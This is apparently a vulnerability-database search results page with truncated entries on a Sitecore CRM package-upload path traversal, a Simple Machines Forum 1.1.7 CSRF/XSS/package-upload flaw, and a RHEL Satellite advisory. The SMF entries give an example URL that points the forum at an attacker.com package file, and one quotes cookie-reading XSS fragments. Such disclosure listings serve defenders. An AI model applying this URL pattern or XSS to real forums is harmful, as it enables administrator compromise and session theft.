146 matches found
CVE-2017-5965
The package manager in Sitecore CRM 8.1 Rev 151207 allows remote authenticated administrators to execute arbitrary ASP code by creating a ZIP archive in which a .asp file has a ..\ in its pathname, visiting sitecore/shell/applications/install/dialogs/Upload%20Package/UploadPackage2.aspx to upload...
Simple Machines Forum <= 1.1.7 - CSRF/XSS/Package Upload
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...
RHEL 6 : Red Hat Network Satellite spacewalk-backend (RHSA-2012:0436)
The remote Redhat Enterprise Linux 6 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2012:0436 advisory. Red Hat Network RHN Satellite is a systems management tool for Linux-based infrastructures. It allows for provisioning, monitoring, and remote...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
Exploit for unknown platform in category web applications =========================================================== Simple Machines Forum Xianur0 Was Here SMF XSS PoC By Xianur0 alert'XSS' Xianur0:XSMF SMF PoC By Xianur0 smfexploit.zip 0.1 Xianur0 alertdocument.cookie /package-l...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...
Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...